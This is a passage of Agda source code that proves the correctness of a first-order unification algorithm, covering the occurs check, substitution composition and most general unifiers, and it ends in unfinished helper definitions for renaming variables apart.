check-prop x leaf = inj₁ (leaf , (refl , refl))
check-prop x (s fork t)
with check-prop x s | check-prop x t
... | inj₁ (s' , s≡thinxs' , checkxs≡s') | inj₁ (t' , t≡thinxt' , checkxt≡t')
= inj₁ (s' fork t' , cong₂ _fork_ s≡thinxs' t≡thinxt'
, cong₂ (λ a b -> _fork_ <$> a ⊛ b) checkxs≡s' checkxt≡t' )
... | inj₂ (ps , s≡ps+ix , checkxs≡no ) | _
= inj₂ (left t ∷ ps , cong (λ s -> s fork t) s≡ps+ix
, cong (λ a -> _fork_ <$> a ⊛ check x t) checkxs≡no )
... | _ | inj₂ (ps , s≡ps+ix , checkxs≡no )
= inj₂ (right s ∷ ps , cong (λ t -> s fork t) s≡ps+ix
, trans (cong (λ a -> _fork_ <$> check x s ⊛ a) checkxs≡no) (lemma (_fork_ <$> check x s)))
where
lemma : ∀ {a b : Set} {y : b} (x : Maybe a) -> maybe (λ _ → y) y x ≡ y
lemma (just x') = refl
lemma nothing = refl
fork++ : ∀ {m} {s t : Term m} ps ->
(ps ⊹ (s fork t) ≡ (ps ++L [ left t ]) ⊹ s)
× (ps ⊹ (s fork t) ≡ (ps ++L [ right s ]) ⊹ t)
fork++ [] = refl , refl
fork++ (left y' ∷ xs') = (cong (λ a -> a fork y') *** cong (λ a -> a fork y')) (fork++ xs')
fork++ (right y' ∷ xs') = (cong (λ a -> y' fork a) *** cong (λ a -> y' fork a)) (fork++ xs')
No-Cycle : ∀{m} (t : Term m) ps -> t ≡ ps ⊹ t -> ps ≡ []
No-Cycle _ [] refl = refl
No-Cycle (i x) (left _ ∷ xs) ()
No-Cycle leaf (left y ∷ xs) ()
No-Cycle {m} (s fork t) (left y ∷ xs) r = proof
where f : Term m -> Term m
f (s fork t) = s
f _ = s
hyp : xs ++L [ left t ] ≡ []
hyp = No-Cycle s (xs ++L [ left t ]) (trans (cong f r) (proj₁ (fork++ xs)))
proof : left y ∷ xs ≡ []
proof = case (_,_ {B = λ x → x ++L _ ≡ _} xs hyp) of λ { ([] , ()) ; (_ ∷ _ , ()) }
No-Cycle (i x) (right _ ∷ xs) ()
No-Cycle leaf (right _ ∷ xs) ()
No-Cycle {m} (s fork t) (right y ∷ xs) r = proof
where f : Term m -> Term m
f (s fork t) = t
f _ = s
hyp = No-Cycle t (xs ++L [ right s ]) (trans (cong f r) (proj₂ (fork++ xs)))
proof : right y ∷ xs ≡ []
proof = case (_,_ {B = λ x → x ++L _ ≡ _} xs hyp) of λ { ([] , ()) ; (_ ∷ _ , ()) }
module Step2 where
fact : ∀{m} (x : Fin m) p ps -> Nothing (Unifies (i x) ((p ∷ ps) ⊹ i x))
fact x p ps f r with No-Cycle (f x) ((f ◃S) (p ∷ ps)) (trans r (StepM.fact2 f (i x) (p ∷ ps)))
... | ()
◇-assoc : ∀ {l m n o} (f : l ~> m) (g : n ~> _) (h : o ~> _) ->
(f ◇ (g ◇ h)) ≐ ((f ◇ g) ◇ h)
◇-assoc f g h x = sym (Sub.fact2 f g (h x))
bind-assoc : ∀ {l m n o} (f : l ~> m) (g : n ~> _) (h : o ~> _) t -> (f ◇ g) ◃ (h ◃ t) ≡ (f ◇ (g ◇ h)) ◃ t
bind-assoc f g h t = sym (begin
(f ◇ (g ◇ h)) ◃ t ≡⟨ ◃ext (◇-assoc f g h) t ⟩
((f ◇ g) ◇ h) ◃ t ≡⟨ Sub.fact2 (f ◇ g) h t ⟩
(f ◇ g) ◃ (h ◃ t)
∎)
step-prop : ∀ {m n} (s t : Term (suc m)) (σ : AList m n) r z ->
(Unifies s t [-◇ sub (σ asnoc r / z) ]) ⇔ (Unifies ((r for z) ◃ s) ((r for z) ◃ t) [-◇ sub σ ])
step-prop s t σ r z f = to , from
where
lemma1 : ∀ t -> (f ◇ sub σ) ◃ ((r for z) ◃ t) ≡ (f ◇ (sub σ ◇ (r for z))) ◃ t
lemma1 t = bind-assoc f (sub σ) (r for z) t
to = λ a → begin
(f ◇ sub σ) ◃ ((r for z) ◃ s) ≡⟨ lemma1 s ⟩
(f ◇ (sub σ ◇ (r for z))) ◃ s ≡⟨ a ⟩
(f ◇ (sub σ ◇ (r for z))) ◃ t ≡⟨ sym (lemma1 t) ⟩
(f ◇ sub σ) ◃ ((r for z) ◃ t) ∎
from = λ a → begin
(f ◇ (sub σ ◇ (r for z))) ◃ s ≡⟨ sym (lemma1 s) ⟩
(f ◇ sub σ) ◃ ((r for z) ◃ s) ≡⟨ a ⟩
(f ◇ sub σ) ◃ ((r for z) ◃ t) ≡⟨ lemma1 t ⟩
(f ◇ (sub σ ◇ (r for z))) ◃ t ∎
-- We use a view so that we need to handle fewer cases in the main proof
data Amgu : {m : ℕ} -> (s t : Term m) -> ∃ (AList m) -> Maybe (∃ (AList m)) -> Set where
Flip : ∀ {m s t acc} -> amgu t s acc ≡ amgu s t acc ->
Amgu {m} t s acc (amgu t s acc) -> Amgu s t acc (amgu s t acc)
leaf-leaf : ∀ {m acc} -> Amgu {m} leaf leaf acc (just acc)
leaf-fork : ∀ {m s t acc} -> Amgu {m} leaf (s fork t) acc nothing
fork-fork : ∀ {m s1 s2 t1 t2 acc} -> Amgu {m} (s1 fork s2) (t1 fork t2) acc (amgu s2 t2 =<< amgu s1 t1 acc)
var-var : ∀ {m x y} -> Amgu (i x) (i y) (m , anil) (just (flexFlex x y))
var-t : ∀ {m x t} -> i x ≢ t -> Amgu (i x) t (m , anil) (flexRigid x t)
s-t : ∀{m s t n σ r z} -> Amgu {suc m} s t (n , σ asnoc r / z) ((λ σ -> σ ∃asnoc r / z) <$>
amgu ((r for z) ◃ s) ((r for z) ◃ t) (n , σ))
view : ∀ {m : ℕ} -> (s t : Term m) -> (acc : ∃ (AList m)) -> Amgu s t acc (amgu s t acc)
view leaf leaf acc = leaf-leaf
view leaf (s fork t) acc = leaf-fork
view (s fork t) leaf acc = Flip refl leaf-fork
view (s1 fork s2) (t1 fork t2) acc = fork-fork
view (i x) (i y) (m , anil) = var-var
view (i x) leaf (m , anil) = var-t (λ ())
view (i x) (s fork t) (m , anil) = var-t (λ ())
view leaf (i x) (m , anil) = Flip refl (var-t (λ ()))
view (s fork t) (i x) (m , anil) = Flip refl (var-t (λ ()))
view (i x) (i x') (n , σ asnoc r / z) = s-t
view (i x) leaf (n , σ asnoc r / z) = s-t
view (i x) (s fork t) (n , σ asnoc r / z) = s-t
view leaf (i x) (n , σ asnoc r / z) = s-t
view (s fork t) (i x) (n , σ asnoc r / z) = s-t
amgu-Correctness : {m : ℕ} -> (s t : Term m) -> ∃ (AList m) -> Set
amgu-Correctness s t (l , ρ) =
(∃ λ n → ∃ λ σ → π₁ (Max (Unifies s t [-◇ sub ρ ])) (sub σ) × amgu s t (l , ρ) ≡ just (n , σ ++ ρ ))
⊎ (Nothing ((Unifies s t) [-◇ sub ρ ]) × amgu s t (l , ρ) ≡ nothing)
amgu-Correctness⋆ : {m : ℕ} -> (s t : Term m) -> ∃ (AList m) -> Set
amgu-Correctness⋆ s t (l , ρ) =
(∃ λ n → ∃ λ σ → π₁ (Max (Unifies s t [-◇ sub ρ ])) (sub σ) × amgu s t (l , ρ) ≡ just (n , σ ++ ρ ))
⊎ (Nothing ((Unifies s t) [-◇ sub ρ ]) × amgu s t (l , ρ) ≡ nothing)
amgu-Ccomm : ∀ {m} s t acc -> amgu {m} s t acc ≡ amgu t s acc -> amgu-Correctness s t acc -> amgu-Correctness t s acc
amgu-Ccomm s t (l , ρ) st≡ts = lemma
where
Unst = (Unifies s t) [-◇ sub ρ ]
Unts = (Unifies t s) [-◇ sub ρ ]
Unst⇔Unts : ((Unifies s t) [-◇ sub ρ ]) ⇔ ((Unifies t s) [-◇ sub ρ ])
Unst⇔Unts = Properties.fact5 (Unifies s t) (Unifies t s) (sub ρ) (Properties.fact1 {_} {s} {t})
lemma : amgu-Correctness s t (l , ρ) -> amgu-Correctness t s (l , ρ)
lemma (inj₁ (n , σ , MaxUnst , amgu≡just)) =
inj₁ (n , σ , proj₁ (Max.fact Unst Unts Unst⇔Unts (sub σ)) MaxUnst , trans (sym st≡ts) amgu≡just)
lemma (inj₂ (NoUnst , amgu≡nothing)) =
inj₂ ((λ {_} → Properties.fact2 Unst Unts Unst⇔Unts NoUnst) , trans (sym st≡ts) amgu≡nothing)
amgu-Ccomm⋆ : ∀ {m} s t acc -> amgu {m} s t acc ≡ amgu t s acc -> amgu-Correctness⋆ s t acc -> amgu-Correctness⋆ t s acc
amgu-Ccomm⋆ s t (l , ρ) st≡ts = lemma
where
Unst = (Unifies s t) [-◇ sub ρ ]
Unts = (Unifies t s) [-◇ sub ρ ]
Unst⇔Unts : ((Unifies s t) [-◇ sub ρ ]) ⇔ ((Unifies t s) [-◇ sub ρ ])
Unst⇔Unts = Properties.fact5 (Unifies s t) (Unifies t s) (sub ρ) (Properties.fact1 {_} {s} {t})
lemma : amgu-Correctness s t (l , ρ) -> amgu-Correctness t s (l , ρ)
lemma (inj₁ (n , σ , MaxUnst , amgu≡just)) =
inj₁ (n , σ , proj₁ (Max.fact Unst Unts Unst⇔Unts (sub σ)) MaxUnst , trans (sym st≡ts) amgu≡just)
lemma (inj₂ (NoUnst , amgu≡nothing)) =
inj₂ ((λ {_} → Properties.fact2 Unst Unts Unst⇔Unts NoUnst) , trans (sym st≡ts) amgu≡nothing)
amgu-c : ∀ {m s t l ρ} -> Amgu s t (l , ρ) (amgu s t (l , ρ)) ->
(∃ λ n → ∃ λ σ → π₁ (Max ((Unifies s t) [-◇ sub ρ ])) (sub σ) × amgu {m} s t (l , ρ) ≡ just (n , σ ++ ρ ))
⊎ (Nothing ((Unifies s t) [-◇ sub ρ ]) × amgu {m} s t (l , ρ) ≡ nothing)
amgu-c {m} {s} {t} {l} {ρ} amg with amgu s t (l , ρ)
amgu-c {l = l} {ρ} leaf-leaf | ._
= inj₁ (l , anil , trivial-problem {_} {_} {leaf} {sub ρ} , cong (λ x -> just (l , x)) (sym (SubList.anil-id-l ρ)) )
amgu-c leaf-fork | .nothing = inj₂ ((λ _ () ) , refl)
amgu-c {m} {s1 fork s2} {t1 fork t2} {l} {ρ} fork-fork | ._
with amgu s1 t1 (l , ρ) | amgu-c $ view s1 t1 (l , ρ)
... | .nothing | inj₂ (nounify , refl) = inj₂ ((λ {_} -> No[Q◇ρ]→No[P◇ρ] No[Q◇ρ]) , refl)
where
P = Unifies (s1 fork s2) (t1 fork t2)
Q = (Unifies s1 t1 ∧ Unifies s2 t2)
Q⇔P : Q ⇔ P
Q⇔P = switch P Q (Properties.fact1' {_} {s1} {s2} {t1} {t2})
No[Q◇ρ]→No[P◇ρ] : Nothing (Q [-◇ sub ρ ]) -> Nothing (P [-◇ sub ρ ])
No[Q◇ρ]→No[P◇ρ] = Properties.fact2 (Q [-◇ sub ρ ]) (P [-◇ sub ρ ]) (Properties.fact5 Q P (sub ρ) Q⇔P)
No[Q◇ρ] : Nothing (Q [-◇ sub ρ ])
No[Q◇ρ] = failure-propagation.first (sub ρ) (Unifies s1 t1) (Unifies s2 t2) nounify
... | .(just (n , σ ++ ρ)) | inj₁ (n , σ , a , refl)
with amgu s2 t2 (n , σ ++ ρ) | amgu-c (view s2 t2 (n , (σ ++ ρ)))
... | .nothing | inj₂ (nounify , refl) = inj₂ ( (λ {_} -> No[Q◇ρ]→No[P◇ρ] No[Q◇ρ]) , refl)
where
P = Unifies (s1 fork s2) (t1 fork t2)
Q = (Unifies s1 t1 ∧ Unifies s2 t2)
Q⇔P : Q ⇔ P
Q⇔P = switch P Q (Properties.fact1' {_} {s1} {s2} {t1} {t2})
No[Q◇ρ]→No[P◇ρ] : Nothing (Q [-◇ sub ρ ]) -> Nothing (P [-◇ sub ρ ])
No[Q◇ρ]→No[P◇ρ] = Properties.fact2 (Q [-◇ sub ρ ]) (P [-◇ sub ρ ]) (Properties.fact5 Q P (sub ρ) Q⇔P)
No[Q◇ρ] : Nothing (Q [-◇ sub ρ ])
No[Q◇ρ] = failure-propagation.second (sub ρ) (sub σ) (Unifies s1 t1) (Unifies s2 t2) a
(λ f Unifs2t2-f◇σ◇ρ → nounify f (π₂ (Unifies s2 t2) (λ t → cong (f ◃) (sym (SubList.fact1 σ ρ t))) Unifs2t2-f◇σ◇ρ))
... | .(just (n1 , σ1 ++ (σ ++ ρ))) | inj₁ (n1 , σ1 , b , refl)
= inj₁ (n1 , σ1 ++ σ , Max[P∧Q◇ρ][σ1++σ] , cong (λ σ -> just (n1 , σ)) (++-assoc σ1 σ ρ))
where
P = Unifies s1 t1
Q = Unifies s2 t2
P∧Q = P ∧ Q
C = Unifies (s1 fork s2) (t1 fork t2)
Max[C◇ρ]⇔Max[P∧Q◇ρ] : Max (C [-◇ sub ρ ]) ⇔ Max (P∧Q [-◇ sub ρ ])
Max[C◇ρ]⇔Max[P∧Q◇ρ] = Max.fact (C [-◇ sub ρ ]) (P∧Q [-◇ sub ρ ]) (Properties.fact5 C P∧Q (sub ρ)
(Properties.fact1' {_} {s1} {s2} {t1} {t2}))
Max[Q◇σ++ρ]⇔Max[Q◇σ◇ρ] : Max (Q [-◇ sub (σ ++ ρ)]) ⇔ Max (Q [-◇ sub σ ◇ sub ρ ])
Max[Q◇σ++ρ]⇔Max[Q◇σ◇ρ] = Max.fact (Q [-◇ sub (σ ++ ρ)]) (Q [-◇ sub σ ◇ sub ρ ]) (Properties.fact6 Q (SubList.fact1 σ ρ))
Max[P∧Q◇ρ][σ1++σ] : π₁ (Max (C [-◇ sub ρ ])) (sub (σ1 ++ σ))
Max[P∧Q◇ρ][σ1++σ] = π₂ (Max (C [-◇ sub ρ ])) (≐-sym (SubList.fact1 σ1 σ))
(proj₂ (Max[C◇ρ]⇔Max[P∧Q◇ρ] (sub σ1 ◇ sub σ))
(optimist (sub ρ) (sub σ) (sub σ1) P Q (DClosed.fact1 s1 t1) a (proj₁ (Max[Q◇σ++ρ]⇔Max[Q◇σ◇ρ] (sub σ1)) b)))
amgu-c {suc l} {i x} {i y} (var-var) | .(just (flexFlex x y))
with thick x y | Thick.fact1 x y (thick x y) refl
... | .(just y') | inj₂ (y' , thinxy'≡y , refl )
= inj₁ (l , anil asnoc i y' / x , var-elim-i-≡ x (i y) (sym (cong i thinxy'≡y)) , refl )
... | .nothing | inj₁ ( x≡y , refl ) rewrite sym x≡y
= inj₁ (suc l , anil , trivial-problem {_} {_} {i x} {sub anil} , refl)
amgu-c {suc l} {i x} {t} (var-t ix≢t) | .(flexRigid x t)
with check x t | check-prop x t
... | .nothing | inj₂ ( ps , r , refl) = inj₂ ( (λ {_} -> No-Unifier ) , refl)
where
No-Unifier : {n : ℕ} (f : Fin (suc l) → Term n) → f x ≡ f ◃ t → ⊥
No-Unifier f fx≡f◃t = ix≢t (sym (trans r (cong (λ ps -> ps ⊹ i x) ps≡[])))
where
ps≡[] : ps ≡ []
ps≡[] = map-[] f ps (No-Cycle (f x) ((f ◃S) ps)
(begin f x ≡⟨ fx≡f◃t ⟩
f ◃ t ≡⟨ cong (f ◃) r ⟩
f ◃ (ps ⊹ i x) ≡⟨ StepM.fact2 f (i x) ps ⟩
(f ◃S) ps ⊹ f x ∎))
... | .(just t') | inj₁ (t' , r , refl) = inj₁ ( l , anil asnoc t' / x , var-elim-i-≡ x t r , refl )
amgu-c {suc m} {s} {t} {l} {ρ asnoc r / z} s-t
| .((λ x' → x' ∃asnoc r / z) <$>
(amgu ((r for z) ◃ s) ((r for z) ◃ t) (l , ρ)))
with amgu-c (view ((r for z) ◃ s) ((r for z) ◃ t) (l , ρ))
... | inj₂ (nounify , ra) = inj₂ ( (λ {_} -> NoQ→NoP nounify) , cong (_<$>_ (λ x' → x' ∃asnoc r / z)) ra )
where
P = Unifies s t [-◇ sub (ρ asnoc r / z) ]
Q = Unifies ((r for z) ◃ s) ((r for z) ◃ t) [-◇ sub ρ ]
NoQ→NoP : Nothing Q → Nothing P
NoQ→NoP = Properties.fact2 Q P (switch P Q (step-prop s t ρ r z))
... | inj₁ (n , σ , a , ra) = inj₁ (n , σ , proj₂ (MaxP⇔MaxQ (sub σ)) a , cong (_<$>_ (λ x' → x' ∃asnoc r / z)) ra)
where
P = Unifies s t [-◇ sub (ρ asnoc r / z) ]
Q = Unifies ((r for z) ◃ s) ((r for z) ◃ t) [-◇ sub ρ ]
MaxP⇔MaxQ : Max P ⇔ Max Q
MaxP⇔MaxQ = Max.fact P Q (step-prop s t ρ r z)
amgu-c {m} {s} {t} {l} {ρ} (Flip amguts≡amgust amguts) | ._ = amgu-Ccomm t s (l , ρ) amguts≡amgust (amgu-c amguts)
amgu-c {zero} {i ()} _ | _
amgu-c⋆ : ∀ {m s t l ρ} -> Amgu s t (l , ρ) (amgu s t (l , ρ)) ->
(∃ λ n → ∃ λ σ → (Max⋆ ((Unifies⋆ s t) [-◇⋆ sub ρ ])) (sub σ) × amgu {m} s t (l , ρ) ≡ just (n , σ ++ ρ ))
⊎ (Nothing⋆ ((Unifies⋆ s t) [-◇⋆ sub ρ ]) × amgu {m} s t (l , ρ) ≡ nothing)
amgu-c⋆ {m} {s} {t} {l} {ρ} amg with amgu s t (l , ρ)
amgu-c⋆ {l = l} {ρ} leaf-leaf | ._
= inj₁ (l , anil , trivial-problem {_} {_} {leaf} {sub ρ} , cong (λ x -> just (l , x)) (sym (SubList.anil-id-l ρ)) )
amgu-c⋆ leaf-fork | .nothing = inj₂ ((λ _ () ) , refl)
amgu-c⋆ {m} {s1 fork s2} {t1 fork t2} {l} {ρ} fork-fork | ._
with amgu s1 t1 (l , ρ) | amgu-c⋆ $ view s1 t1 (l , ρ)
... | .nothing | inj₂ (nounify , refl) = inj₂ ((λ {_} -> No[Q◇ρ]→No[P◇ρ] No[Q◇ρ]) , refl)
where
P = Unifies⋆ (s1 fork s2) (t1 fork t2)
Q = (Unifies⋆ s1 t1 ∧⋆ Unifies⋆ s2 t2)
Q⇔P : Q ⇔⋆ P
Q⇔P = switch⋆ P Q (Properties.fact1' {_} {s1} {s2} {t1} {t2})
No[Q◇ρ]→No[P◇ρ] : Nothing⋆ (Q [-◇⋆ sub ρ ]) -> Nothing⋆ (P [-◇⋆ sub ρ ])
No[Q◇ρ]→No[P◇ρ] = Properties.fact2⋆ (Q [-◇⋆ sub ρ ]) (P [-◇⋆ sub ρ ]) (Properties.fact5⋆ Q P (sub ρ) Q⇔P)
No[Q◇ρ] : Nothing⋆ (Q [-◇⋆ sub ρ ])
No[Q◇ρ] = failure-propagation.first⋆ (sub ρ) (Unifies⋆ s1 t1) (Unifies⋆ s2 t2) nounify
... | .(just (n , σ ++ ρ)) | inj₁ (n , σ , a , refl)
with amgu s2 t2 (n , σ ++ ρ) | amgu-c⋆ (view s2 t2 (n , (σ ++ ρ)))
... | .nothing | inj₂ (nounify , refl) = inj₂ ( (λ {_} -> No[Q◇ρ]→No[P◇ρ]⋆ No[Q◇ρ]⋆) , refl)
where
P⋆ = Unifies⋆ (s1 fork s2) (t1 fork t2)
Q⋆ = (Unifies⋆ s1 t1 ∧⋆ Unifies⋆ s2 t2)
Q⇔P⋆ : Q⋆ ⇔⋆ P⋆
Q⇔P⋆ = switch⋆ P⋆ Q⋆ (Properties.fact1'⋆ {_} {s1} {s2} {t1} {t2})
No[Q◇ρ]→No[P◇ρ]⋆ : Nothing⋆ (Q⋆ [-◇⋆ sub ρ ]) -> Nothing⋆ (P⋆ [-◇⋆ sub ρ ])
No[Q◇ρ]→No[P◇ρ]⋆ = Properties.fact2⋆ (Q⋆ [-◇⋆ sub ρ ]) (P⋆ [-◇⋆ sub ρ ]) (Properties.fact5⋆ Q⋆ P⋆ (sub ρ) Q⇔P⋆)
No[Q◇ρ]⋆ : Nothing⋆ (Q⋆ [-◇⋆ sub ρ ])
No[Q◇ρ]⋆ = failure-propagation.second⋆ (sub ρ) (sub σ) (Unifies⋆ s1 t1) (Unifies s2 t2) a
(λ f → nounify f ∘ π₂ (Unifies s2 t2) (cong (f ◃) ∘ sym ∘ SubList.fact1 σ ρ))
{-
No[Q◇ρ]⋆ = failure-propagation.second (sub ρ) (sub σ) (Unifies s1 t1) (Unifies s2 t2) a
-- (λ f Unifs2t2-f◇σ◇ρ → nounify f ((π₂ (Unifies s2 t2) (λ t → cong (f ◃) (sym (SubList.fact1 σ ρ t))) Unifs2t2-f◇σ◇ρ)))
-- (λ f → nounify f ∘ π₂ (Unifies s2 t2) (λ t → cong (f ◃) (sym (SubList.fact1 σ ρ t))))
(λ f → nounify f ∘ π₂ (Unifies s2 t2) (cong (f ◃) ∘ sym ∘ SubList.fact1 σ ρ))
-}
P = Unifies (s1 fork s2) (t1 fork t2)
Q = (Unifies s1 t1 ∧ Unifies s2 t2)
Q⇔P : Q ⇔ P
Q⇔P = switch P Q (Properties.fact1' {_} {s1} {s2} {t1} {t2})
No[Q◇ρ]→No[P◇ρ] : Nothing (Q [-◇ sub ρ ]) -> Nothing (P [-◇ sub ρ ])
No[Q◇ρ]→No[P◇ρ] = Properties.fact2 (Q [-◇ sub ρ ]) (P [-◇ sub ρ ]) (Properties.fact5 Q P (sub ρ) Q⇔P)
No[Q◇ρ] : Nothing (Q [-◇ sub ρ ])
No[Q◇ρ] = failure-propagation.second (sub ρ) (sub σ) (Unifies s1 t1) (Unifies s2 t2) a
(λ f Unifs2t2-f◇σ◇ρ → nounify f (π₂ (Unifies s2 t2) (λ t → cong (f ◃) (sym (SubList.fact1 σ ρ t))) Unifs2t2-f◇σ◇ρ))
... | .(just (n1 , σ1 ++ (σ ++ ρ))) | inj₁ (n1 , σ1 , b , refl)
= inj₁ (n1 , σ1 ++ σ , Max[P∧Q◇ρ][σ1++σ] , cong (λ σ -> just (n1 , σ)) (++-assoc σ1 σ ρ))
where
P = Unifies s1 t1
Q = Unifies s2 t2
P∧Q = P ∧ Q
C = Unifies (s1 fork s2) (t1 fork t2)
Max[C◇ρ]⇔Max[P∧Q◇ρ] : Max (C [-◇ sub ρ ]) ⇔ Max (P∧Q [-◇ sub ρ ])
Max[C◇ρ]⇔Max[P∧Q◇ρ] = Max.fact (C [-◇ sub ρ ]) (P∧Q [-◇ sub ρ ]) (Properties.fact5 C P∧Q (sub ρ)
(Properties.fact1' {_} {s1} {s2} {t1} {t2}))
Max[Q◇σ++ρ]⇔Max[Q◇σ◇ρ] : Max (Q [-◇ sub (σ ++ ρ)]) ⇔ Max (Q [-◇ sub σ ◇ sub ρ ])
Max[Q◇σ++ρ]⇔Max[Q◇σ◇ρ] = Max.fact (Q [-◇ sub (σ ++ ρ)]) (Q [-◇ sub σ ◇ sub ρ ]) (Properties.fact6 Q (SubList.fact1 σ ρ))
Max[P∧Q◇ρ][σ1++σ] : π₁ (Max (C [-◇ sub ρ ])) (sub (σ1 ++ σ))
Max[P∧Q◇ρ][σ1++σ] = π₂ (Max (C [-◇ sub ρ ])) (≐-sym (SubList.fact1 σ1 σ))
(proj₂ (Max[C◇ρ]⇔Max[P∧Q◇ρ] (sub σ1 ◇ sub σ))
(optimist (sub ρ) (sub σ) (sub σ1) P Q (DClosed.fact1 s1 t1) a (proj₁ (Max[Q◇σ++ρ]⇔Max[Q◇σ◇ρ] (sub σ1)) b)))
amgu-c⋆ {suc l} {i x} {i y} (var-var) | .(just (flexFlex x y))
with thick x y | Thick.fact1 x y (thick x y) refl
... | .(just y') | inj₂ (y' , thinxy'≡y , refl )
= inj₁ (l , anil asnoc i y' / x , var-elim-i-≡ x (i y) (sym (cong i thinxy'≡y)) , refl )
... | .nothing | inj₁ ( x≡y , refl ) rewrite sym x≡y
= inj₁ (suc l , anil , trivial-problem {_} {_} {i x} {sub anil} , refl)
amgu-c⋆ {suc l} {i x} {t} (var-t ix≢t) | .(flexRigid x t)
with check x t | check-prop x t
... | .nothing | inj₂ ( ps , r , refl) = inj₂ ( (λ {_} -> No-Unifier ) , refl)
where
No-Unifier : {n : ℕ} (f : Fin (suc l) → Term n) → f x ≡ f ◃ t → ⊥
No-Unifier f fx≡f◃t = ix≢t (sym (trans r (cong (λ ps -> ps ⊹ i x) ps≡[])))
where
ps≡[] : ps ≡ []
ps≡[] = map-[] f ps (No-Cycle (f x) ((f ◃S) ps)
(begin f x ≡⟨ fx≡f◃t ⟩
f ◃ t ≡⟨ cong (f ◃) r ⟩
f ◃ (ps ⊹ i x) ≡⟨ StepM.fact2 f (i x) ps ⟩
(f ◃S) ps ⊹ f x ∎))
... | .(just t') | inj₁ (t' , r , refl) = inj₁ ( l , anil asnoc t' / x , var-elim-i-≡ x t r , refl )
amgu-c⋆ {suc m} {s} {t} {l} {ρ asnoc r / z} s-t
| .((λ x' → x' ∃asnoc r / z) <$>
(amgu ((r for z) ◃ s) ((r for z) ◃ t) (l , ρ)))
with amgu-c⋆ (view ((r for z) ◃ s) ((r for z) ◃ t) (l , ρ))
... | inj₂ (nounify , ra) = inj₂ ( (λ {_} -> NoQ→NoP nounify) , cong (_<$>_ (λ x' → x' ∃asnoc r / z)) ra )
where
P = Unifies s t [-◇ sub (ρ asnoc r / z) ]
Q = Unifies ((r for z) ◃ s) ((r for z) ◃ t) [-◇ sub ρ ]
NoQ→NoP : Nothing Q → Nothing P
NoQ→NoP = Properties.fact2 Q P (switch P Q (step-prop s t ρ r z))
... | inj₁ (n , σ , a , ra) = inj₁ (n , σ , proj₂ (MaxP⇔MaxQ (sub σ)) a , cong (_<$>_ (λ x' → x' ∃asnoc r / z)) ra)
where
P = Unifies s t [-◇ sub (ρ asnoc r / z) ]
Q = Unifies ((r for z) ◃ s) ((r for z) ◃ t) [-◇ sub ρ ]
MaxP⇔MaxQ : Max P ⇔ Max Q
MaxP⇔MaxQ = Max.fact P Q (step-prop s t ρ r z)
amgu-c⋆ {m} {s} {t} {l} {ρ} (Flip amguts≡amgust amguts) | ._ = amgu-Ccomm⋆ t s (l , ρ) amguts≡amgust (amgu-c⋆ amguts)
amgu-c⋆ {zero} {i ()} _ | _
mgu-c : ∀ {m} (s t : Term m) ->
(∃ λ n → ∃ λ σ → π₁ (Max (Unifies s t)) (sub σ) × mgu s t ≡ just (n , σ))
⊎ (Nothing (Unifies s t) × mgu s t ≡ nothing)
mgu-c {m} s t = amgu-c (view s t (m , anil))
mgu-c⋆ : ∀ {m} (s t : Term m) ->
(∃ λ n → ∃ λ σ → (Max⋆ (Unifies⋆ s t)) (sub σ) × mgu s t ≡ just (n , σ))
⊎ (Nothing⋆ (Unifies⋆ s t) × mgu s t ≡ nothing)
mgu-c⋆ {m} s t = amgu-c (view s t (m , anil))
data SidedTerm (n : ℕ) : Set where
i-left : (x : Fin n) -> 2 * Data.Fin.toℕ x Data.Nat.≤ n → SidedTerm n
i-right : (x : Fin n) -> n + Data.Fin.toℕ x Data.Nat.≤ 2 * n → SidedTerm n
leaf : SidedTerm n
_fork_ : (s t : SidedTerm n) -> SidedTerm n
data dTerm (n : ℕ) : Term (2 * n) → Set where
-- i :
l1 : ∀ m → Data.Fin.toℕ (Data.Fin.fromℕ m) ≡ m
l1 zero = refl
l1 (suc m) = cong suc (l1 m)
l2 : ∀ m → m ≡ m + 0
l2 zero = refl
l2 (suc m) = cong suc (l2 m)
fixup : ∀ m → Fin (Data.Fin.toℕ (Data.Fin.fromℕ m) + m) → Fin (m + (m + 0))
fixup m x rewrite l1 m | sym (l2 m) = x
revise-down : ∀ {m} → Fin m → Fin (2 * m)
revise-down {m} x = Data.Fin.inject+ (m + 0) x
revise-up : ∀ {m} → Fin m → Fin (2 * m)
revise-up {m} x = fixup m (Data.Fin.fromℕ m Data.Fin.+ x)
{-
reduce* : ∀ {m n} (i : Fin (m * 2)) → Fin m
reduce* {zero} i i≥m = i
reduce* {suc m} zero ()
reduce* {suc m} (suc i) (s≤s i≥m) = reduce≥ i i≥m
-}
downFin : ∀ {m} {x : Fin (2 * m)} → suc (Data.Fin.toℕ x) Data.Nat.≤ m → Fin m
downFin {zero} {()} p₁
downFin {suc m} {zero} (s≤s p₁) = zero
downFin {suc zero} {suc zero} (s≤s p₁) = zero
downFin {suc zero} {suc (suc ())} (s≤s p₁)
downFin {suc (suc m)} {suc zero} (s≤s x<m) = suc zero
downFin {suc (suc m)} {suc (suc x)} (s≤s (s≤s x<m)) = suc ((downFin {suc m} {x = subst Fin (foo m) x} (s≤s {!x<m!}))) where
foo : ∀ m → m + suc (suc (m + zero)) ≡ suc (m + suc (m + zero))
foo zero = refl
foo (suc m) rewrite foo m = cong suc {!refl!}
combineSubs : ∀ {m a} {A : Set a} → (Fin m → A) → (Fin m → A) → Fin (2 * m) → A
combineSubs {m} fl fr x with suc (Data.Fin.toℕ x) ≤? m
… | yes p = fl (downFin {x = x} p)
… | no _ = fr {!!}
write-variable-down : ∀ {m} → Term m → Term (2 * m)
write-variable-down {m} (i l) = i $ revise-down l
write-variable-down {m} leaf = leaf
write-variable-down {m} (s fork t) = write-variable-down s fork write-variable-down t
write-variable-up : ∀ {m} → Term m → Term (2 * m)
write-variable-up {m} (i r) = i (revise-up r)
write-variable-up {m} leaf = leaf
write-variable-up {m} (s fork t) = write-variable-up s fork write-variable-up t
write-variables-apart : ∀ {m} (s t : Term m) → Term (2 * m) × Term (2 * m)
write-variables-apart s t = write-variable-down s , write-variable-up t
separate-substitutions-down : ∀ {m n} → (Fin (2 * m) → Term n) → Fin m → Term n
separate-substitutions-down {m} f x = f $ revise-down x
separate-substitutions-up : ∀ {m n} → (Fin (2 * m) → Term n) → Fin m → Term n
separate-substitutions-up {m} f x = f $ revise-up x
separate-substitutions : ∀ {m n} → (Fin (2 * m) → Term n) → (Fin m → Term n) × (Fin m → Term n)
separate-substitutions {m} x = separate-substitutions-down {m} x , separate-substitutions-up {m} x
Property⋆2 : (m : ℕ) -> Set1
Property⋆2 m = ∀ {n} -> (Fin m -> Term n) × (Fin m -> Term n) -> Set
